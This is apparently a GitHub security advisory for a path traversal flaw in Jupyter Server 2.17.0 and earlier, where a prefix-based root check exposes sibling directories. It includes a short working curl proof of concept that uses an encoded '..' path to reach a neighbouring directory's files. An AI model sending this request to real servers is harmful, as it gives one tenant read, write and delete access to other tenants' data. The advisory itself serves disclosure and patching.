GHSA-5789-5FC7-67V3
Vulnerability from github – Published: 2026-05-05 16:49 – Updated: 2026-05-05 16:49Summary
Jupyter Server <=2.17.0 can access directories sibling to the root directory, if it starts with the root dir's name.
PoC
Minimal:
.
├── test/ <- root directory.
│ └── test.txt
└── testtest/
└── secret.txt <- file to exfiltrate that we should not be able to access via API
HOST="http://localhost:8888"
TOKEN=""
SIBLING="testtest"
TARGET="secret.txt"
curl -s -X POST \
"$HOST/api/contents/%2e%2e/$SIBLING/$TARGET/checkpoints" \
-H "Authorization: token $TOKEN"
Full PoC by @stef41: https://gist.github.com/Yann-P/66d4982a965dee8fcb8dd89db29e7006
Impact
It is possible for an authenticated user to access content outside the server's root_dir in siblings directories sharing the same prefix as the root_dir. The attacker can escalate access, reading, writing, and deleting from sibling directories.
This can have a tangible impact for deployments using predictable naming scheme with multi-tenant server, for example user1, user2, user3, ..., user10 etc, as user1 could access and modify files of all user10 - user19 and higher.
In a hypothetical system where users can choose a name of their folder, an attacker could choose a single-letter username to gain access to a significant number of sibling directories.
Workarounds
Use folder names that do not overlap.
Acknowledgments
Thank you to @stef41 for providing a useful PoC.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.17.0"
},
"package": {
"ecosystem": "PyPI",
"name": "jupyter-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35397"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T16:49:10Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nJupyter Server \u003c=2.17.0 can access directories sibling to the root directory, if it starts with the root dir\u0027s name.\n\n### PoC\n\nMinimal:\n\n```\n.\n\u251c\u2500\u2500 test/ \u003c- root directory.\n\u2502 \u2514\u2500\u2500 test.txt\n\u2514\u2500\u2500 testtest/\n \u2514\u2500\u2500 secret.txt \u003c- file to exfiltrate that we should not be able to access via API\n```\n\n```bash\nHOST=\"http://localhost:8888\"\nTOKEN=\"\"\nSIBLING=\"testtest\"\nTARGET=\"secret.txt\"\n\ncurl -s -X POST \\\n \"$HOST/api/contents/%2e%2e/$SIBLING/$TARGET/checkpoints\" \\\n -H \"Authorization: token $TOKEN\"\n```\n\nFull PoC by @stef41: https://gist.github.com/Yann-P/66d4982a965dee8fcb8dd89db29e7006\n\n### Impact\n\nIt is possible for an authenticated user to access content outside the server\u0027s `root_dir` in siblings directories sharing the same prefix as the `root_dir`. The attacker can escalate access, reading, writing, and deleting from sibling directories.\n\nThis can have a tangible impact for deployments using predictable naming scheme with multi-tenant server, for example `user1`, `user2`, `user3`, ..., `user10` etc, as `user1` could access and modify files of all `user10` - `user19` and higher.\n\nIn a hypothetical system where users can choose a name of their folder, an attacker could choose a single-letter username to gain access to a significant number of sibling directories.\n\n### Workarounds\n\nUse folder names that do not overlap.\n\n### Acknowledgments\n\nThank you to @stef41 for providing a useful PoC.",
"id": "GHSA-5789-5fc7-67v3",
"modified": "2026-05-05T16:49:10Z",
"published": "2026-05-05T16:49:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jupyter-server/jupyter_server/security/advisories/GHSA-5789-5fc7-67v3"
},
{
"type": "PACKAGE",
"url": "https://github.com/jupyter-server/jupyter_server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Jupyter Server: Path Traversal via incorrect startswith() root directory check allows access to sibling directories"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.